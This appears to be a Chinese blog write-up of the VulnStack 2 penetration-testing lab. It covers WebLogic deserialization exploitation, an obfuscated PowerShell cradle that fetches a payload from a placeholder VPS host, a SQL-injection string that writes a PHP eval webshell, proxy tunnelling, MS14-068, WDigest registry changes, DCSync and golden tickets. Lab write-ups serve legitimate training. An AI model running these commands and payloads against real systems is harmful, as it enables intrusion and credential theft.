文档章节

内网渗透靶机-VulnStack 2

黑白天安全团队
 黑白天安全团队
发布于 07/10 16:28
字数 2209
阅读 447
收藏 0

「深度学习福利」大神带你进阶工程师,立即查看>>>


WEB服务器:windows2008系统

外网网卡IP:192.168.1.152
内网网卡IP:10.10.10.80

域成员:windows server 2003系统
网卡IP:10.10.10.200

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

攻击机器:kali windows 10

kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108

Weblogic反序列化远程代码执行漏洞获取webshell

这个靶机一开始在登陆web机器的时候输入作者提示的登陆密码不能登陆,然后我就使用administrator登陆进去把web机器的密码修改为作者说的密码了!进去之后需要启动Weblogic。路径在C:OracleMiddlewareuser_projectsdomainsbase_domain里面。这里面有一个批处理点击即可。接着到攻击机器来,使用nmap扫描目标机器,扫描到了7001端口是weblogic。

使用weblogic扫描工具扫描一波发现了有反序列化漏洞。

https://github.com/rabbitmask/WeblogicScan

这里扫描除了两个CVE漏洞

访问一下存在漏洞的地址,接着抓包写入poc

http://192.168.1.152:7001/_async/AsyncResponseService

使用poc来验证一下。github上面有poc

https://github.com/lufeirider/CVE-2019-2725

可以看到可以执行命令

接下来的话直接让他上线CobaltStrike。

返回200成功,但是等了很久很久都没有CobaltStrike都没上线,接着查看进程发现了有360安全卫士。我刚刚给的powershell应该被360拦截了

使用weblogic利用工具上传shell上去,上传需要找到几个点,获取物理路径,如下面三种:
第一个方法是把shell写到uddiexplorer目录中

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp

目录写入木马,

访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp

第二个方法是把shell写在应用安装目录中

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

目录写入木马,

访问 http://*.*.*.*:7001/项目名/shell.jsp

第三个方法是把shell写到控制台images目录中

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

接着在这个目录上传木马

上传成功,访问路径:

 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

连接冰蝎成功!!

webshell上线Cobaltstrike

首先这里我使用了对powershell的代码进行混淆,首先生成powershell的payload,然后使用powershell脚本混淆工具进行混淆。地址如下:

https://github.com/danielbohannon/Invoke-Obfuscation

接着使用这个工具对powershell脚本混淆一下

接着在对powershell命令在进行混淆一次:参考师傅文章:https://xz.aliyun.com/t/7903

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://VPS_IP:port/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

之后再使用powershell命令就可以让对方上线了。

使用systeminfo可以查看到系统的信息,当前的域是处在web域中,是一台windows server 2008的服务器。并且打的补丁比较少

查看网络信息,这里是双网卡,内网是10.10.10.0/24网段。

提权的话这里使用了ms15-051。这里CS有带这个提权,尝试一下后直接提取成功了。

直接使用mimikatz获取到系统的密码凭证。

由于对方有360的话,每当执行一些敏感的命令都会有提醒阻止的。可以使用使用argue参数污染,这里把net1参数进行污染。

参数进行污染之后就可以使用execute参数进行添加用户。

查看对方开启了3389端口之后,可以使用刚刚创建的用户进行远程桌面登陆

使用Ladon插件对网段进行扫描,这里可以发现DC.delay.com可能是域控。

在刚刚ipconfig获取的域控域名进行ping测试,发现返回的IP的确就是10.10.10.10

接着使用代理进入内网探测,使用Venom代理工具进行代理。在具有具有独立IP的机器上面执行命令:

admin.exe -lport 6666

把agent.exe上传到对方机器上面,执行如下命令,使对方回连主机。

agent.exe -rhost 回连主机IP -rport 6666

之后在回连主机上面就可以看到有新的连接已经连接进来了,之后进入这个节点。使用socks 1080建立一个代理的端口。

进入使用Proxifier挂上代理,端口就是刚刚设置的1080。挂上代理之后使用端口扫描工具对10.10.10.201这个IP进是端口扫描,对方开启了80,445和3389端口。

内网PC获取shell

访问10.10.10.201的80端口,发现是一个BEESCMS的系统,在网上搜索了之后发现v4.0版本存在后台的登陆框注入漏洞。

使用dirsearch对网站进行扫描,扫描发现了后台登陆和i.php文件,i.php文件大概率就是phpinfo了吧

BESCMS后台存在注入,直接在账号这里输入单引号可以直接报错。

根据网上的提供的漏洞信息是可以直接写入一句话进去的,这里试着访问i.php发现真的就是phpinfo的页面,从phpinfo泄露的信息来看这里就是网站的根目录了。

对这个注入进行判断字段数,发现有五个字段,在第五字段的时候不报错了!显示密码不正确!

根据网上的对BESSCMSv4.0的利用手法,写入一句话木马进去,在写入一句话的时候需要对shell的payload进行编码转换。已经知道了根目录,直接写入一句话到目标的网站根目录上面。并且需要的条件是secure_file_priv为空才能写入。

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/tongda/PHPTutorial/WWW/netstat/s.php'#

接着查看一些是否已经写入成功,很顺利这已经写入shell成功了。而且好像这里还出现了管理员的账号和密码。

之后直接使用菜刀进行连接即可。

接着在已经获取的beacon中设置一个中转的监听,让内网的机器会连的时候会连到可以出网的WEB服务器上面。

接着生成一个中转监听的木马,并且上传到内网PC的机器上面执行。

接着这里的代理连就已经完成了。内网的PC依靠着WEB传递数据出去。

既然返回回来的已经是要给高权限了,那就可以直接获取PC里面的凭借密码。

既然密码一样的那可以尝试一下是否可以PTH获取内网PC的主机。但是这里显示不能获取。

获取域控的权限

既然已经有了域普通用户的的哈希,如果域控存在ms14-068漏洞的话普通用户的权限是可以提升为域控权限的,首先需要有域用户的SID值

使用命令制作一张票据出来。

MS14-068.exe -u administrator@de1ay.com -p 1qaz@WSX. -s S-1-5-21-2756371121-2868759905-3853650604-500 -d 10.10.10.10

参数说明:

- -u 域账号+@+域名称,这里是WEB+@+de1ay.com
- -p 为当前用户的密码,即WEB的密码
- -s为hello的SID值,可以通过whoami /all来获取用户的SID值
- -d为当前域的域控

执行成功之后会在当前目录下生成一个.ccache的文件。接着清除凭证信息,在CS中可以直接使用命令
kerberos_ticket_purge,接着将票据注入到内存当中

额这就有点!!!什么鬼啊!

接着尝试一下PTH直接传递哈希过去看看域控能否上线吧!最后还是PTH上线了

由于是Windows 2012的系统,并不能直接获取到明文的密码。可以通过修改注册表来获取明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

这里我就不修改注册表了,如果修改的话需要对方注销或者重启才有效

接着制作黄金票据。使用命令把krbtgt的密码HASH值获取出来,一下两条命令都可以获取krbtgt密码

lsadump::dcsync /domain:de1ay.com /user:krbtgt

LsaDump::dcsync /domain:de1ay.com /all /csv

接着使用CobaltStrike自带的黄金票据来生成GoldenTicket

最后再把上传的文件和webshell删除,再把一下痕迹擦测,这里有一位师傅的博客写的很好https://blog.csdn.net/bylfsj/article/details/102565586

今天也是特别的日子,昨天也是哈哈哈!炎日的夏天在经历暴雨的冲洗,换来清爽加上美丽的晚霞!



本文分享自微信公众号 - 黑白天(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

黑白天安全团队
粉丝 1
博文 174
码字总数 110720
作品 0
清远
私信 提问
加载中
请先登录后再评论。
NAT工具--dsnat

dsnat(Dynamic Source Network Address Translation) 是一个基于lvs的模块,在taobao开源的FNAT基础上开发,dsnat位于网络的网关位置,内网访问外网时,会将内网地址改成公网地址池中的ip,轮询选...

wilburj
2013/05/20
2.2K
0
端口映射程序--PS320

PS320 V0.12 版本为开源版本 本程序最初想解决自己管理服务器问题,当初因客户不对外开放端口,导致管理工作量大,速度慢且不稳定,每次管理都去现场处理。 本程序提供端口映射功能,可以直接...

冰迪
2013/06/03
2.1K
0
SmartGWT学习整理 2、理解核心中的核心DataSource

SmartGWT学习整理 2、理解核心中的核心DataSource DataSource之所以重要,是因为它负责所有的与服务器的数据交互,几乎所有的控件都离不开它。 可以这样说,理解了DataSource就掌握了SmartGW...

st97
2010/11/16
2K
2
phalapi-进阶篇8(PhalApi能带来什么和进阶篇总结)

phalapi-进阶篇8(PhalApi能带来什么和进阶篇总结) 先在这里感谢phalapi框架创始人@dogstar,为我们提供了这样一个优秀的开源框架. 到今天位置PhalApi已经开源一周年了,他从一个不起眼的小框架...

喵了_个咪
2015/12/19
624
6
用 VIPER 构建 iOS 应用架构(2)

【编者按】本篇文章由 Jeff Gilbert 和 Conrad Stoll 共同编写,通过构建一个基础示例应用,深入了解 VIPER,并从视图、交互器等多个部件理清 VIPER 的整体布局及思路。通过 VIPER 构建 iOS ...

OneAPM蓝海讯通
2015/08/07
289
0

没有更多内容

加载失败,请刷新页面

加载更多

处理“ java.lang.OutOfMemoryError:PermGen空间”错误

问题: Recently I ran into this error in my web application: 最近,我在Web应用程序中遇到此错误: java.lang.OutOfMemoryError: PermGen space java.lang.OutOfMemoryError:PermGen空间......

技术盛宴
今天
7
0
从JS数组中删除重复的值[duplicate] - Remove duplicate values from JS array [duplicate]

问题: This question already has answers here : 这个问题已经在这里有了答案 : Get all unique values in a JavaScript array (remove duplicates) (79 answers) 获取JavaScript数组中的......

法国红酒甜
今天
11
0
如何使用AngularJS在浏览器的控制台中访问$ scope变量?

问题: I would like to access my $scope variable in Chrome's JavaScript console. 我想在Chrome的JavaScript控制台中访问$scope变量。 How do I do that? 我怎么做? I can neither see ......

fyin1314
今天
18
0
ImageMagick - 添加水印

背景 最近制作思维导图想添加自己的水印,网上很多例子都是使用ImageMagick来完成。但是不少代码在本地并不可行。经过一番试验,找到两个方法。 方法一 代码 stackoverflow方法改良: conver...

wffger
今天
11
0
OSChina 周四乱弹 —— 到底是怎样的饕餮盛宴在等待着我!

Osc乱弹歌单(2020)请戳(这里) 【今日歌曲】 小小编辑推荐 :《你 能 來 保 護 我 的 世 界 嘛》- 歪门 《你 能 來 保 護 我 的 世 界 嘛》- 歪门 手机党少年们想听歌,请使劲儿戳(这里)...

小小编辑
今天
91
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部